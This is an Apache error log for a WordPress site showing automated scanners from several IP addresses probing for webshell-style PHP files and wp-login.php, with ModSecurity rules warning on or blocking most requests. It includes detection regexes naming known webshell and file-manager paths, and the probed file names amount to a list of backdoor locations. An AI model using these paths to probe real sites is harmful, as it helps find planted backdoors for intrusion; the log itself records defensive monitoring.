[Thu Apr 09 05:51:58.945218 2026] [:error] [pid 20537:tid 20613] [client 89.251.0.97:45047] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Thu Apr 09 05:51:59.226783 2026] [:error] [pid 20537:tid 20608] [client 89.251.0.97:45047] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Thu Apr 09 05:51:59.768860 2026] [:error] [pid 20537:tid 20612] [client 89.251.0.97:45047] File does not exist: /usr/local/apache/htdocs/suspended-page/up.php
[Thu Apr 09 05:52:01.009884 2026] [:error] [pid 20537:tid 20610] [client 89.251.0.97:45047] [client 89.251.0.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.97, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/js/wp-login.php"] [unique_id "adbOAcSTjpSeyrxLmN4UBAAAAIw"]
[Thu Apr 09 05:52:01.568562 2026] [:error] [pid 20537:tid 20606] [client 89.251.0.97:45047] File does not exist: /usr/local/apache/htdocs/suspended-page/worm.PhP
[Thu Apr 09 05:52:01.812733 2026] [:error] [pid 20537:tid 20614] [client 89.251.0.97:45047] File does not exist: /usr/local/apache/htdocs/suspended-page/ext.php
[Thu Apr 09 05:52:02.069480 2026] [:error] [pid 20537:tid 20598] [client 89.251.0.97:45047] File does not exist: /usr/local/apache/htdocs/suspended-page/delpaths.php
[Thu Apr 09 05:52:02.626623 2026] [:error] [pid 20537:tid 20603] [client 89.251.0.97:45047] [client 89.251.0.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.97, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "adbOAsSTjpSeyrxLmN4UCwAAAIU"]
[Thu Apr 09 05:52:03.513194 2026] [:error] [pid 20537:tid 20615] [client 89.251.0.97:45047] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Thu Apr 09 05:52:03.824382 2026] [:error] [pid 20537:tid 20622] [client 89.251.0.97:45047] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin.php
[Thu Apr 09 05:52:04.419943 2026] [:error] [pid 20537:tid 20598] [client 89.251.0.97:45047] File does not exist: /usr/local/apache/htdocs/suspended-page/update-core.php
[Thu Apr 09 05:52:04.983288 2026] [:error] [pid 20537:tid 20603] [client 89.251.0.97:45047] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Thu Apr 09 05:52:05.907796 2026] [:error] [pid 20537:tid 20604] [client 89.251.0.97:45047] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/content.php
[Thu Apr 09 05:52:07.974149 2026] [:error] [pid 20537:tid 20609] [client 89.251.0.97:45047] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Thu Apr 09 05:52:08.264737 2026] [:error] [pid 20537:tid 20605] [client 89.251.0.97:45047] File does not exist: /usr/local/apache/htdocs/suspended-page/index2.php
[Thu Apr 09 05:52:09.656560 2026] [:error] [pid 20537:tid 20599] [client 89.251.0.97:45047] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Thu Apr 09 05:52:10.200689 2026] [:error] [pid 20537:tid 20602] [client 89.251.0.97:45047] [client 89.251.0.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "adbOCsSTjpSeyrxLmN4ULwAAAIQ"]
[Thu Apr 09 05:52:11.240740 2026] [:error] [pid 22627:tid 22653] [client 89.251.0.77:27999] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Thu Apr 09 05:52:11.487303 2026] [:error] [pid 22627:tid 22645] [client 89.251.0.77:27999] [client 89.251.0.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "adbOC_r8glsF_jKQpr78pwAAAQ8"]
[Thu Apr 09 05:52:12.254642 2026] [:error] [pid 22627:tid 22633] [client 89.251.0.97:44435] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Thu Apr 09 05:52:12.511505 2026] [:error] [pid 22627:tid 22648] [client 89.251.0.97:44435] [client 89.251.0.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "adbODPr8glsF_jKQpr78rQAAARI"]
[Thu Apr 09 05:52:13.577281 2026] [:error] [pid 20535:tid 20565] [client 89.251.0.108:33461] File does not exist: /usr/local/apache/htdocs/suspended-page/nf_tracking.php
[Thu Apr 09 05:52:14.116266 2026] [:error] [pid 20535:tid 20546] [client 89.251.0.108:33461] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Thu Apr 09 05:52:14.635493 2026] [:error] [pid 20535:tid 20568] [client 89.251.0.108:33461] File does not exist: /usr/local/apache/htdocs/suspended-page/l.php
[Thu Apr 09 05:52:14.892484 2026] [:error] [pid 20535:tid 20557] [client 89.251.0.108:33461] File does not exist: /usr/local/apache/htdocs/suspended-page/repeater.php
[Thu Apr 09 05:52:15.418636 2026] [:error] [pid 20535:tid 20549] [client 89.251.0.108:33461] [client 89.251.0.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "adbODwWiD9hWnEUHWdMi8QAAAAU"]
[Thu Apr 09 05:52:15.957731 2026] [:error] [pid 20536:tid 20585] [client 89.251.0.95:29763] File does not exist: /usr/local/apache/htdocs/suspended-page/contacts.php
[Thu Apr 09 05:52:16.233201 2026] [:error] [pid 20536:tid 20592] [client 89.251.0.95:29763] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Thu Apr 09 05:52:16.536487 2026] [:error] [pid 20536:tid 20583] [client 89.251.0.95:29763] [client 89.251.0.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "adbOEMPqyUJM1s3YpIYhpAAAAEw"]
[Thu Apr 09 05:52:17.347583 2026] [:error] [pid 20535:tid 20563] [client 89.251.0.79:58931] [client 89.251.0.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "adbOEQWiD9hWnEUHWdMi-AAAABM"]
[Thu Apr 09 05:52:18.144102 2026] [:error] [pid 20535:tid 20553] [client 89.251.0.81:30621] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Thu Apr 09 05:52:18.974963 2026] [:error] [pid 20535:tid 20549] [client 89.251.0.81:30621] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php
[Thu Apr 09 05:52:19.232718 2026] [:error] [pid 20535:tid 20557] [client 89.251.0.81:30621] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php
[Thu Apr 09 05:52:19.502752 2026] [:error] [pid 20535:tid 20565] [client 89.251.0.81:30621] [client 89.251.0.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "adbOEwWiD9hWnEUHWdMjCAAAABU"]
[Thu Apr 09 05:52:20.031982 2026] [:error] [pid 22627:tid 22645] [client 89.251.0.98:34277] [client 89.251.0.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "adbOFPr8glsF_jKQpr78ugAAAQ8"]
[Thu Apr 09 05:52:23.450429 2026] [:error] [pid 22627:tid 22651] [client 2.57.169.3:32603] File does not exist: /usr/local/apache/htdocs/suspended-page/tox.php
[Thu Apr 09 05:52:23.952614 2026] [:error] [pid 22627:tid 22645] [client 2.57.169.3:32603] [client 2.57.169.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "adbOF_r8glsF_jKQpr78xwAAAQ8"]
[Thu Apr 09 05:52:24.728269 2026] [:error] [pid 20641:tid 20647] [client 89.251.0.96:55159] [client 89.251.0.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "adbOGG3LksBSF-6rlkZsRgAAAMI"]
[Thu Apr 09 05:52:25.537189 2026] [:error] [pid 20535:tid 20552] [client 89.251.0.88:62179] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Thu Apr 09 05:52:25.825919 2026] [:error] [pid 20535:tid 20548] [client 89.251.0.88:62179] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Thu Apr 09 05:52:26.095223 2026] [:error] [pid 20535:tid 20558] [client 89.251.0.88:62179] [client 89.251.0.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "adbOGgWiD9hWnEUHWdMjFAAAAA4"]
[Thu Apr 09 05:52:26.901159 2026] [:error] [pid 20535:tid 20545] [client 89.251.0.105:39167] File does not exist: /usr/local/apache/htdocs/suspended-page/mariju.php
[Thu Apr 09 05:52:27.174256 2026] [:error] [pid 20535:tid 20561] [client 89.251.0.105:39167] File does not exist: /usr/local/apache/htdocs/suspended-page/waf_defender.php
[Thu Apr 09 05:52:29.082719 2026] [:error] [pid 20535:tid 20559] [client 89.251.0.105:39167] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Thu Apr 09 05:52:29.930813 2026] [:error] [pid 20535:tid 20556] [client 89.251.0.105:39167] [client 89.251.0.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "adbOHQWiD9hWnEUHWdMjIgAAAAw"]
[Thu Apr 09 05:52:30.561830 2026] [:error] [pid 20535:tid 20548] [client 89.251.0.105:58143] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php
[Thu Apr 09 05:52:31.534966 2026] [:error] [pid 20535:tid 20551] [client 89.251.0.105:58143] [client 89.251.0.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "adbOHwWiD9hWnEUHWdMjKQAAAAc"]
[Thu Apr 09 05:52:32.407659 2026] [:error] [pid 22627:tid 22638] [client 89.251.0.97:42837] File does not exist: /usr/local/apache/htdocs/suspended-page/theme.php
[Thu Apr 09 05:52:33.301779 2026] [:error] [pid 22627:tid 22642] [client 89.251.0.97:42837] File does not exist: /usr/local/apache/htdocs/suspended-page/Simple.php
[Thu Apr 09 05:52:33.554305 2026] [:error] [pid 22627:tid 22631] [client 89.251.0.97:42837] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Thu Apr 09 05:52:34.084877 2026] [:error] [pid 22627:tid 22637] [client 89.251.0.97:42837] [client 89.251.0.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.97, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "adbOIvr8glsF_jKQpr785AAAAQc"]
[Thu Apr 09 05:52:35.396653 2026] [:error] [pid 22627:tid 22644] [client 89.251.0.97:42837] [client 89.251.0.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "adbOI_r8glsF_jKQpr787wAAAQ4"]
[Thu Apr 09 05:52:35.910805 2026] [:error] [pid 20537:tid 20601] [client 89.251.0.94:21259] File does not exist: /usr/local/apache/htdocs/suspended-page/small.php
[Thu Apr 09 05:52:36.201851 2026] [:error] [pid 20537:tid 20621] [client 89.251.0.94:21259] [client 89.251.0.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "adbOJMSTjpSeyrxLmN4UTwAAAJc"]
[Thu Apr 09 05:52:36.748885 2026] [:error] [pid 20535:tid 20567] [client 89.251.0.98:61737] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Thu Apr 09 05:52:37.283406 2026] [:error] [pid 20535:tid 20561] [client 89.251.0.98:61737] File does not exist: /usr/local/apache/htdocs/suspended-page/error.php
[Thu Apr 09 05:52:37.965588 2026] [:error] [pid 20535:tid 20552] [client 89.251.0.98:61737] [client 89.251.0.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "adbOJQWiD9hWnEUHWdMjOAAAAAg"]
[Thu Apr 09 05:52:38.805131 2026] [:error] [pid 22627:tid 22633] [client 89.251.0.95:23727] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-files.php
[Thu Apr 09 05:52:39.082779 2026] [:error] [pid 22627:tid 22644] [client 89.251.0.95:23727] File does not exist: /usr/local/apache/htdocs/suspended-page/functions.php
[Thu Apr 09 05:52:39.343465 2026] [:error] [pid 22627:tid 22635] [client 89.251.0.95:23727] [client 89.251.0.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "adbOJ_r8glsF_jKQpr78_AAAAQU"]
[Thu Apr 09 05:52:39.884170 2026] [:error] [pid 22627:tid 22631] [client 89.251.0.88:49249] [client 89.251.0.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "adbOJ_r8glsF_jKQpr79AAAAAQE"]
[Thu Apr 09 05:52:40.401377 2026] [:error] [pid 20535:tid 20566] [client 89.251.0.102:23413] File does not exist: /usr/local/apache/htdocs/suspended-page/aks.php
[Thu Apr 09 05:52:40.684318 2026] [:error] [pid 20535:tid 20557] [client 89.251.0.102:23413] File does not exist: /usr/local/apache/htdocs/suspended-page/litespeed.php
[Thu Apr 09 05:52:41.209975 2026] [:error] [pid 20535:tid 20565] [client 89.251.0.102:23413] [client 89.251.0.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "adbOKQWiD9hWnEUHWdMjQQAAABU"]
[Thu Apr 09 05:52:41.719476 2026] [:error] [pid 20641:tid 20655] [client 89.251.0.104:33127] File does not exist: /usr/local/apache/htdocs/suspended-page/wpn.php
[Thu Apr 09 05:52:44.543373 2026] [:error] [pid 20641:tid 20662] [client 89.251.0.104:33127] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/iR7SzrsOUEP.php
[Thu Apr 09 05:52:45.305637 2026] [:error] [pid 20641:tid 20652] [client 89.251.0.104:33127] [client 89.251.0.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "adbOLW3LksBSF-6rlkZscQAAAMc"]
[Thu Apr 09 05:52:46.365644 2026] [:error] [pid 20537:tid 20619] [client 89.251.0.86:57231] [client 89.251.0.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/db.php"] [unique_id "adbOLsSTjpSeyrxLmN4UWwAAAJU"]
[Thu Apr 09 05:52:46.907337 2026] [:error] [pid 20537:tid 20603] [client 2.57.169.3:32699] [client 2.57.169.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "adbOLsSTjpSeyrxLmN4UXQAAAIU"]
[Thu Apr 09 05:52:47.413194 2026] [:error] [pid 20536:tid 20575] [client 89.251.0.107:33975] [client 89.251.0.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "adbOL8PqyUJM1s3YpIYhvwAAAEQ"]
[Thu Apr 09 05:52:47.900206 2026] [:error] [pid 20535:tid 20568] [client 89.251.0.76:51059] [client 89.251.0.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "adbOLwWiD9hWnEUHWdMjSwAAABg"]
[Thu Apr 09 05:52:48.407096 2026] [:error] [pid 20537:tid 20604] [client 89.251.0.105:42301] [client 89.251.0.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "adbOMMSTjpSeyrxLmN4UYgAAAIY"]
[Thu Apr 09 05:53:25.425946 2026] [autoindex:error] [pid 22627:tid 22650] [client 89.251.0.100:63359] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 07:05:09.935301 2026] [:error] [pid 22627:tid 22646] [client 20.220.57.112:63357] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Thu Apr 09 07:05:10.225124 2026] [:error] [pid 22627:tid 22646] [client 20.220.57.112:63357] File does not exist: /usr/local/apache/htdocs/suspended-page/shadow-bot.php
[Thu Apr 09 07:05:10.434212 2026] [:error] [pid 22627:tid 22647] [client 20.220.57.112:63357] File does not exist: /usr/local/apache/htdocs/suspended-page/zxcs.php
[Thu Apr 09 07:05:10.642593 2026] [:error] [pid 22627:tid 22642] [client 20.220.57.112:63357] File does not exist: /usr/local/apache/htdocs/suspended-page/btx25.php
[Thu Apr 09 07:05:10.850418 2026] [:error] [pid 22627:tid 22635] [client 20.220.57.112:63357] File does not exist: /usr/local/apache/htdocs/suspended-page/ca-022.php
[Thu Apr 09 07:05:11.055411 2026] [:error] [pid 22627:tid 22651] [client 20.220.57.112:63357] [client 20.220.57.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rnenu.php"] [unique_id "adbfJ_r8glsF_jKQpr48owAAARU"]
[Thu Apr 09 07:05:11.465429 2026] [:error] [pid 20641:tid 20664] [client 20.220.57.112:63234] [client 20.220.57.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rnenu.php"] [unique_id "adbfJ23LksBSF-6rlkaKoQAAANM"]
[Thu Apr 09 07:05:11.875454 2026] [:error] [pid 20641:tid 20648] [client 20.220.57.112:63331] [client 20.220.57.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rnenu.php"] [unique_id "adbfJ23LksBSF-6rlkaKpAAAAMM"]
[Thu Apr 09 07:05:12.285511 2026] [:error] [pid 20537:tid 20614] [client 20.220.57.112:63260] [client 20.220.57.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rnenu.php"] [unique_id "adbfKMSTjpSeyrxLmN4ragAAAJA"]
[Thu Apr 09 07:05:12.696161 2026] [:error] [pid 20535:tid 20560] [client 20.220.57.112:63334] [client 20.220.57.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fallbackapi.php"] [unique_id "adbfKAWiD9hWnEUHWdNNdAAAABA"]
[Thu Apr 09 07:05:13.107631 2026] [:error] [pid 20536:tid 20592] [client 20.220.57.112:62479] [client 20.220.57.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fallbackapi.php"] [unique_id "adbfKcPqyUJM1s3YpIY21QAAAFU"]
[Thu Apr 09 07:05:13.524114 2026] [:error] [pid 20641:tid 20654] [client 20.220.57.112:24332] [client 20.220.57.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fallbackapi.php"] [unique_id "adbfKW3LksBSF-6rlkaKrgAAAMk"]
[Thu Apr 09 07:05:13.936679 2026] [:error] [pid 20535:tid 20553] [client 20.220.57.112:62578] [client 20.220.57.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fallbackapi.php"] [unique_id "adbfKQWiD9hWnEUHWdNNfAAAAAk"]
